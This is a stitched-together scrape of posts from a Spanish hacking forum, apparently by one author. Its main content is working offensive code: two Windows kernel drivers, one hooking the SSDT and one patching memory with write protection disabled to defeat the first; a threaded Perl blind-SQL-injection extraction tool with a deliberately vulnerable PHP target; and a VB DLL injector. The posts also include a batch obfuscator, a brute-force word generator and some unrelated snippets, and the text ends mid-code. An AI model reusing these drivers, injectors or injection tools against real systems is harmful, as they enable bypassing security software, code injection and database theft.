Ahora si intentamos eliminar el archivo prueba.txt situado en C:\ veremos como no nos da ninun tipo de problema, ya que el driver de filtrado no puede saber que archivo queremos eliminar.

Si cerramos el driver "envenenador" se restablecerá la dirección real de la API en dentro de la variable del driver de filtrado, y si cerramos este, eliminara en hook que había puesto en la SSDT, y va a creer que ha echo bien su trabajo, pero nosotros sabemos que no 

Creo que no me e dejado nada en el tintero, espero que este texto sirva para animaros a programar algo en modo kernel, os aseguro que si estos temas (de modo Kernel) se trataran más en este subforo la gente participaría un 300% más de lo que se participa en este foro, estoy seguro  Yo e dado el primer paso, ahora os toca a vosotros dar el vuestro, para poder charlar de un tema que personalmente me apasiona, no creen que lo de los troyanos y joiners ya esta muy visto? demos un paso al frente y progresemos 

Por último, quiero dar las gracias a Mek, ya que parte de este concepto lo desarrollamos el y yo en el driver con el que "combatíamos" al sXe 

Un Saludo 



Código completo del Driver de filtrado:

Código (c) [Seleccionar] Expandir

#include "ntddk.h"
#include <string.h>

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

static char archivo[] = "\\??\\C:\\prueba.txt";

NTSYSAPI
NTSTATUS
NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);

typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
typeZwOpenFile ZwOpenFileIni;


NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{

   NTSTATUS ntStatus;
   ANSI_STRING strf;


   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;

__try
    {
   RtlUnicodeStringToAnsiString(&strf,ObjectAttributes->ObjectName,TRUE);
   if (strcmp(archivo,strf.Buffer)==0)
   {
if (DesiredAccess & DELETE)
{
DbgPrint("Se intentó eliminar el archivo...");
ZwClose(FileHandle);
*FileHandle=NULL;
return STATUS_INVALID_HANDLE;
}
   }
   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

   return ntStatus;
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");

   UNHOOK_SYSCALL(ZwOpenFile, ZwOpenFileIni, ZwOpenFileRep);

   if(g_pmdlSystemCall)
   {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
   }
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;

DriverObject->DriverUnload=OnUnload;

    DbgPrint("*** Programa de control de archivos. Por Hendrix ***");
DbgPrint(" ");
DbgPrint("Driver cargado.");


   ZwOpenFileIni =(typeZwOpenFile)(SYSTEMSERVICE(ZwOpenFile));

   DbgPrint("Direccion actual: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
   
   g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;

   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
   
   HOOK_SYSCALL(ZwOpenFile, ZwOpenFileRep, ZwOpenFileIni);
   
   DbgPrint("Direccion despues del Hook: 0x%x",(int)(SYSTEMSERVICE(ZwOpenFile)));
   return s;
}

Código completo del Envenenador:

Código (c) [Seleccionar] Expandir

#include <NTDDK.h>
#include <WINDEF.h>
#include <STDIO.h>
#include <string.h>

#pragma pack(1)


NTSYSAPI
NTSTATUS
NTAPI ZwOpenFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);

typedef NTSTATUS (*typeZwOpenFile)(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions);
typeZwOpenFile ZwOpenFileIni;

DWORD det;
DWORD dir;
DWORD MyDir;



NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{

   NTSTATUS ntStatus;
   ANSI_STRING strf;
   OBJECT_ATTRIBUTES oa;


   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;

__try
    {
//Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);

   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }
   
   return ntStatus;
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");
   
   __asm
{
cli
push eax
mov eax, cr0
and eax, 0xFFFEFFFF
mov cr0, eax
pop eax
}

   __try
    {
//Reparamos la variable del driver victima con la dirección real de la API.
*(DWORD*)det = (DWORD)ZwOpenFileIni;
   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

   __asm
{
push eax
mov eax, cr0
or eax, not 0xFFFEFFFF
mov cr0, eax
pop eax
sti
}
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;

det = (DWORD) 0xf7bcc9a0;
dir = (DWORD) 0x8056f41a;
MyDir = (DWORD) ZwOpenFileRep;

DriverObject->DriverUnload=OnUnload;

DbgPrint("Modificado de memoria. Por Hendrix");


   ZwOpenFileIni =(typeZwOpenFile)0x8056f41a;
   
   __asm
{
cli
push eax
mov eax, cr0
and eax, 0xFFFEFFFF
mov cr0, eax
pop eax
}

   __try
    {
//Parcheamos la variable del programa victima con la dirección de nuestra función
*(DWORD*)det = MyDir;

   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

   __asm
{
push eax
mov eax, cr0
or eax, not 0xFFFEFFFF
mov cr0, eax
pop eax
sti
}

   DbgPrint("Hook inyectado!!");
   return s;
}

[Índice]

E pensado en escribir un artículo sobre la programación de drivers en Windwos. Este primer post lo voy a tener como índice del manual, al terminarlo lo voy a pasar a PDF. (No lo bloqueo ya que me interesa que los lectores pregunten lo que no entiendan, para poderlo resolver e ir editando lo que sera el PDF explicando lo que se pregunte).

Nota: Este artículo lo publico en este subforo y no en el de programación ya que sera orientado al malware.

Índice

1. Nociones básicas
         1.1 Herramientas necesarias
         1.2 Modo kernel y modo Usuario
         1.3 Documentación interesante

2. Introducción
         2.1 Hola mundo desde el driver
         2.2 Comunicación entre Modo kernel y modo usuario

3. El Kernel de Windows
         3.1 La SSDT o System Service Descriptor Table
         3.2 Memoria protegida y Hooks en la SSDT

4. Direct Kernel Object Manipulation (DKOM)
         4.1 Eprocess
         4.2 Ocultando procesos sin Hooks

Este artículo esta bajo la licencia Reconocimiento-No comercial-Compartir bajo la misma licencia 2.5 España License de Creative Commons

Un Saludo 

[Codigo php:]

Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código (php) [Seleccionar] Expandir

<?php 

# ---- CONFIG -----
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'password';
$dbname = 'blind';
# -----------------

echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";

$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);


$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
$query = mysql_query($sql);

if(@mysql_num_rows($query)==0){
die('No hay columnas');
}

$result=@mysql_fetch_row($query);
echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
// echo "Passwd: ".$result[2]."<br>";
echo "</h2></center>";

die();

?>

Código SQL:

Código (sql) [Seleccionar] Expandir

-- Table: users
-- by ka0x - D.O.M
-- Blind SQL Injection Paper

CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `name` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

-- users --
INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
-- eof --

Código Perl:

Código (perl) [Seleccionar] Expandir

#!/usr/bin/perl -W

# Blind MySQL Injection Paper
# example brute force

# -- OPTIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---

use LWP::UserAgent ;

sub _HELP_AND_EXIT
{
die "

  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>

Options:
  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  -tn   <table_name>        Table name.
  -cn   <column_name>       Column name.
  -p    <pattern>           HTML pattern.

Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
" ;
}


my ($p, $w) = ({ @ARGV }, { }) ;

map {
&_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
} keys %$p ;

map {
die "[!] Require: $_\n" unless $p->{ $_ } ;
} qw/-u -tn -cn -p/ ;

$p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
$p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
$p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;

map {
warn "[i] Getting default: $_ $w->{ $_ }\n" ;
} sort keys %$w ;

( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;




sub _START_WORK
{
my $p = shift ;

($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value

my $position = 1 ;

pipe(R, W) ;
pipe(Rs, Ws) ;
autoflush STDOUT 1 ;

my $sql_message = '' ;
my $msg = '' ;
my @pid ;

while( $position <= $p->{'-l'} )
{
my $cf ;
unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
push(@pid, $cf) ;

my $count = 0 ;
my $can_exit ;
my $char_printed ;

while(<R>)
{
chomp ;
push(@pid, (split(/:/))[1] ) if /^pid/ ;

my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
$count++ if $pos == $position ;

print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;

if( $res eq 'yes' and $pos == $position ){
$char_printed = $can_exit = 1 ;
print Ws "STOP $position\n" ;
$sql_message .= chr( $ascii ) ;
}

last if ( $can_exit or $count == @ascii );
}

map { waitpid($_, 0) } @pid ;

unless( $char_printed )
{
if( $EXIT_IF_NO_CHAR )
{
warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
last ;
}
}

$position++ ;
}

print "[i] SQL_FIELD:\n$sql_message\n" ;

}

sub _CHECKING
{
my ($p, $position) = @_ ;
my $counter = 0 ;
my $stop_position ;

foreach my $ascii ( @ascii )
{
$counter++ ;

if( $counter % $p->{'-t'} == 0 )
{
my $stop_position ;
eval
{
$SIG{'ALRM'} = sub { die "non_stop\n" } ;
alarm $DEFAULT_THREADS_TIME ;
my $line = <Rs> ;
$stop_position = (split( / /, $line))[1] ;
alarm 0 ;
} ;

if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
}

unless(my $pid = fork )
{
print Ws "pid:$pid\n" or die ;


my $url = $p->{'-u'} .
' AND ascii(substring((SELECT ' . $p->{'-cn'} .
' FROM ' . $p->{'-tn'} . ' where id=' .
$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;

my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;

my $content ;
while( 1 )
{
last if $content = $ua->get( $url )->content ;
}

( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;

exit( 0 ) ;
}

}
}



sub _IS_VULN
{
my $p = shift ;

my $ua = LWP::UserAgent->new ;
$ua->timeout( $p->{'-T'} ) ;

my ( $one, $two ) = (
$ua->get( $p->{'-u'}." AND 1=1")->content ,
$ua->get( $p->{'-u'}." AND 1=2")->content ,
) ;

return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}

En una mañana de aburrimiento e codeado esta herramienta, es bastante sencilla y sirve mas que nada para ofuscar el codigo fuente de un archivo .bat, lo deja algo "ilegible" y funciona normalmente al 100%.

E tenido un problemilla con las variables, que lo e solventado de la forma mas "simple", no ofuscandolas.

Con todos los codigos que lo e porbado a funcionado, si alguein encuentra un error que lo diga.

Un Saludo 

PD: Se me olvidaba, esta escrito en C#, lo posteo aqui pues esta echo para Batch.

Aqui tienen, sirve para encontrar numeros primos hasta el numero que ustedes indiquen.

Código (csharp) [Seleccionar] Expandir

// ****************************************************************
// ****************************************************************
// **                                                            **
// **                                                            **
// **               Criba de Eratóstenes en C#                   **
// **                       By Hendrix                           **
// **                                                            **
// **                                                            **
// ****************************************************************
// ****************************************************************

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        public static int max;

        static void Main(string[] args)
        {
            int nume;

            Console.WriteLine("Introduce el numero hasta donde se va a buscar");
            max = Convert.ToInt32(Console.ReadLine());

            int[,] num = new int[max, 2];
            string primos = "";

            for (int i = 2; i < max; i++) //Rellenamos el array
            {
                num[i, 0] = i;
                num[i, 1] = 0;
            }

            for (int i = 2; i < max; i++)
            {
                if (num[i, 1] == 0)
                {
                    primos = primos + i.ToString() + ",";
                    for (int e = 1; e < max + 1; e++)
                    {
                        nume = num[i, 0];
                        nume = nume * e;
                        if (nume < max)
                        {
                            num[nume, 1] = 1;
                        }
                        else
                        {
                            break;
                        }
                    }
                }
            }

            primos = primos.Substring(0, primos.Length - 1);
            Console.WriteLine("Numeros primos encontrados: {0}", primos);
            Console.Read();

        }
    }
}

Para mas información sobre la Criba de Eratóstenes aquí

Un Saludo   

[Texto Original]

Esta tarde estaba aburrido y e diseñado este sencillo algoritmo. Funciona de la siguiente manera:

Texto Original: Heeendriixx
Texto Final: H2endr1i1x

Es decir, si hay 3 e's juntas, lo substituye por 2e.....y al descomprimirlo, pone tantas letras como indica el numero.

Evidentemente este metodo solo funciona en textos en donde se repitan muchas letras y esten juntas.

Si se preguntan lo siguiente: Que pasa si comprimimos un texto con numeros?? La respuesta es que el algoritmo no sirve, queda inservible, como se arregla?? pues muy fácil, añadiendo una marca delante del numero, si existe la marca pues el numero que viene depues nos interesa, si no esta la marca pues nos lo saltamos. Eso es muy facil de añadir, asi que si quereis añadirselo se lo añadiis 

Código (csharp) [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication1
{
    class Program
    {
        public static int contador = 0;

        public static bool IsNumeric(object Expression)
        {
            bool isNum;
            double retNum;

            isNum = Double.TryParse(Convert.ToString(Expression), System.Globalization.NumberStyles.Any,System.Globalization.NumberFormatInfo.InvariantInfo, out retNum );
            return isNum;
        }

        public static string Decompresor(string comprimido)
        {
            string decompres = "";
            string num = "";
            string caracter;
            int diferencia = 1;
            string sub;
            string suba;
            bool semaforo = false;

            for (int e = 0; e < comprimido.Length; e++)
            {
                if (IsNumeric(comprimido.Substring(e, 1)) == true)
                {
                    for (int j = 1; j < comprimido.Length; j++)
                    {
                        if (semaforo == true)
                        {
                            diferencia--;
                            if (diferencia != 0)
                            {
                                semaforo = false;
                                break;
                            }
                        }

                        string b;
                        bool a;
                        b = comprimido.Substring(e + j, 1);
                        a = IsNumeric(b);
                        if (a == false)
                        {
                            sub = comprimido.Substring(e);
                            num = "";
                            num = sub.Substring(0, j);
                            caracter = sub.Substring(j, 1);
                            diferencia = num.Length;
                            for (int m = 0; m < Convert.ToInt32(num); m++)
                            {
                                decompres = decompres + caracter;
                            }
                            semaforo = true;
                            break;
                        }
                    }
                }
                suba = comprimido.Substring(e, 1);
                if (IsNumeric(suba) == false)
                {
                    decompres = decompres + suba;
                }
            }

            return decompres;

        }


        public static string Compresor(string texto)
        {
            string res = "";

            for (int i=0;i<texto.Length-1;i++)
            {
                char a,b;

                a = Convert.ToChar(texto.Substring(i,1));
                b = Convert.ToChar(texto.Substring(i+1,1));
                if (a == b)
                {
                    contador++;
                }
                else
                {
                    if (contador != 0)
                    {
                        res = res + Convert.ToString(contador);
                        contador = 0;
                    }
                    res = res + a;
                }

            }

            res = res + texto.Substring(texto.Length - 1, 1);

            if (contador != 0)
            {
                res = res.Substring(0, res.Length - 1);
                res = res + Convert.ToString(contador);
                res = res + texto.Substring(texto.Length - 1, 1);
            }


            return res;


        }

        static void Main(string[] args)
        {
            string palabra;
            string resultado;
            string result;

            palabra = "heeeeeeeeeeeennnnnnnnnnnnddddddddrrrrrrriiiiixxxxxxxxxx";


            resultado = Compresor(palabra);
            result = Decompresor(resultado);


            Console.WriteLine("La palabra original es: {0} \nLa palabra comprimida es: {1}\nLa palabra descomprimida es: {2}\n\n",palabra, resultado,result);
            Console.WriteLine("Tamaño inicial: {0}\nTamaño Final: {1}", palabra.Length, resultado.Length);
            Console.Read();


        }
    }
}

Nota: El codigo no esta depurado, se puede optimizar, ya que hay variables que las e agregado para poder depurarlo mejos cuano me provocaba errores 

Un Saludo 

Pues eso, creo que es el problema que me pasa al intentar apsar parametros de tipo char[] a una Dll echa en VB siguiento el siguiente texto (http://www.elguille.info/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm).

Al pasarle numeros no hay ningun problema, pero al pasarle cadenas me da un error y se cierra el programa.

Creo que es por lo que e dicho, que el tipo char[] no es igual al tipo string del VB y por eso da el error.

El error me pasa al intentar llamarlo asi desde el C++:

Código (cpp) [Seleccionar] Expandir

Saludo("Hola desde C++");

Alguna sugerencia???

Para pasar el rato codee esta sencilla herramienta....es un web spider y la e programado para que rastree los links de la pagina y los e-mails....se la podria optimizar para que buscase dentro de toda la web (dentro de todos los links) pero no lo e echo, si alguien le apetece que lo haga 

Aviso, la GUI no es gran cosa....lo que me interesaba era el codigo.

Dejo el codigo fuente adjuntado.

Un Saludo 

PD: Si encuentran algun error comuniquenlo.
PD2: No soporta SSL, asi que no lo intenten...

[Modulo:]

Aqui les dejo este codigo que ya e traducido a C#, ahora a VB...mi proximo reto es traducirlo a ensamblador con el Fasm....

Bueno, me dejo de chachara....aqui esta el codigo:

Modulo:

Código (vb) [Seleccionar] Expandir

'************************************************************************
'************************************************************************
'**                                                                    **
'**   Inyeccion Dll en VB a partir del codigo en C++ de MazarD         **
'**                                                                    **
'**                  Wrote on June 15, 2007 by Hendrix                 **
'**                                                                    **
'**                                                                    **
'**                         CopyLeft Licence                           **
'************************************************************************
'************************************************************************



Private Const PAGE_READWRITE As Long = &H4
Private Const MEM_RELEASE As Long = &H8000
Private Const MEM_COMMIT As Long = &H1000
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Private Const INFINITE As Long = &HFFFFFF

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Long, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long


Public Function Inyecta(RutaDll As String, Pid As Long) As Integer
Dim proc As Long
Dim nload As Long
Dim rems As Long
Dim longi As Long
Dim RemThread As Long
Dim Tid As Long

On Error GoTo Error
proc = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
nload = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
rems = VirtualAllocEx(proc, 0, Len(RutaDll), MEM_COMMIT, PAGE_READWRITE)
WriteProcessMemory proc, ByVal rems, ByVal RutaDll, Len(RutaDll), longi
CreateRemoteThread proc, ByVal 0, 0, ByVal nload, ByVal rems, 0, Tid
WaitForSingleObject rems, INFINITE
CloseHandle proc
CloseHandle rems
Inyecta = 0
Exit Function
Error:
Inyecta = 1
End Function

Formulario:

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
Dim ruta As Long
Dim resultado As Integer

ruta = Shell("notepad.exe")
resultado = Inyecta("C:\ladll.dll", ruta)

If resultado = 0 Then
MsgBox "Dll Inyectada con éxito!!!", , "Información"
Else
MsgBox "A ocurrido un error", vbCritical, "Información"
End If
End
End Sub

Un Saludo. 

Bueno, pues este es mi "motor" de fuerza bruta, lo e terminado de hacer ahora mismo, es bastante sencillo...recorre desde 0 letra hasta 10, es decir, va desde:

(ninguna letra) hasta 999999999

hay va el codigo:

Código (C#) [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Text;


namespace ConsoleApplication2
{
    class Program
    {
        public static string carac = ",a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9";



        static void Main(string[] args)
        {
            string palabra = "";
            char o = ',';
            string[] c = carac.Split(o);

            for (int a = 0; a < 37; a++)
            {
                for (int b = 0; b < 37; b++)
                {
                    for (int d = 0; d < 37; d++)
                    {
                        for (int e = 0; e < 37; e++)
                        {
                            for (int f = 0; f < 37; f++)
                            {
                                for (int g = 0; g < 37; g++)
                                {
                                    for (int h = 0; h < 37; h++)
                                    {
                                        for (int i = 0; i < 37; i++)
                                        {
                                            for (int j = 0; j < 37; j++)
                                            {
                                                for (int k = 0; k < 37; k++)
                                                {
                                                    palabra = c[a] + c[b] + c[d] + c[e] + c[f] + c[g] + c[h] + c[i] + c[j] + c[k];
                                                    Console.WriteLine(palabra);
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

la coma de delante de la a es importante, ya que como en el split, en la posicion 0 no se guarda nada por culpa de esta coma, y así podemos recorrer desde 0 hasta 10 letras....

Un Saludo. 

Aqui les dejo este proyecto....se que el codigo se puede optimizar...pero son la 1:24 am y no hay ganas...xDDD

Lo que hace este codigo es conectarse al MSN mediante el protocolo del MSN:

Descargar/Ver

En principio lo que hace es pedirte tu cuenta, tu pass, conectarse y te enseña el nick tal y como lo tienes tu en el MSN (ya que por defecto te los pasan codificado...e implementado una funcion que lo descodifica).

El codigo es el siguiente:

Código [Seleccionar] Expandir

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;


namespace ConsoleApplication2
{
    class Program
    {
        static string cuenta;
        static string pass;

        public bool IsNumeric(object epresionje)
        {
            bool isNum;
            double retNum;

            isNum = Double.TryParse(Convert.ToString(epresionje), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out retNum);
            return isNum;
        }

        public string urldecode(string cadena)
        {
            char p = '%';
            string hexa;
            long dec;
            char asc;
            string resultado = "";

            Program hen = new Program();

            string[] arr = cadena.Split(p);
            foreach (string q in arr)
            {
                if (q.Length > 0)
                {
                    hexa = q.Substring(0, 2);
                    if (hen.IsNumeric(hexa) == true)
                    {
                        dec = Convert.ToInt64(hexa, 16);
                        asc = Convert.ToChar(dec);
                        resultado = resultado + asc + q.Substring(2);
                    }
                    else
                    {
                        resultado = resultado + q;
                    }

                }
            }

            return resultado;

        }

        public string depurarip(string direc)
        {
            string a;
            int b;
            string c;

            a = direc.Substring(9);
            b = a.IndexOf(":");
            c = a.Substring(0, b);
           
            return c;

        }

        public string Sacacookie(string resultado)
        {
            int a;
            string b;
            int c;
            string d;


            a = resultado.IndexOf("'t=");
            b = resultado.Substring(a + 2);
            c = b.IndexOf("'");
            d = b.Substring(1, c);

            return d;
        }





        static void Main(string[] args)
        {

            Console.Write("Introduce tu Cuenta: ");
            cuenta = Console.ReadLine();
            Console.Write("Introduce la Pass: ");
            pass = Console.ReadLine();


            string cabecera = "VER 1 MSNP9 MSNP8 CVR0\r\n";
            string respuesta = "";
            string cab2 = "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS " + cuenta + "\r\n";
            string cab3 = "USR 3 TWN I " + cuenta + "\r\n";
            string cab4 = "VER 4 MSNP9 MSNP8 CVR0\r\n";
            string cab5 = "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " + cuenta + "\r\n";
            string cab6 = "USR 6 TWN I " + cuenta + "\r\n";
            string cab7;
            string nick;
            Byte[] Send6 = Encoding.ASCII.GetBytes(cab6);
            Byte[] Rec6 = new Byte[255];
            Byte[] Send5 = Encoding.ASCII.GetBytes(cab5);
            Byte[] Rec5 = new Byte[255];
            Byte[] Send4 = Encoding.ASCII.GetBytes(cab4);
            Byte[] Rec4 = new Byte[255];
            Byte[] Send3 = Encoding.ASCII.GetBytes(cab3);
            Byte[] Rec3 = new Byte[255];
            Byte[] Send2 = Encoding.ASCII.GetBytes(cab2);
            Byte[] Rec = new Byte[255];
            Byte[] SendBytes = Encoding.ASCII.GetBytes(cabecera);
            Byte[] RecvBytes = new Byte[255];
            int bytes;
            string IPnueva;
            string cookie;
            string cuentaurl = cuenta.Replace("@", "%40");


            IPHostEntry address = Dns.GetHostEntry("messenger.hotmail.com");
            IPEndPoint Ep = new IPEndPoint(address.AddressList[0], 1863);
            Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            try
            {
                // Primera conexión
                socket.Connect(Ep);
                socket.Send(SendBytes, SendBytes.Length, SocketFlags.None);
                bytes = socket.Receive(RecvBytes, RecvBytes.Length, SocketFlags.None);
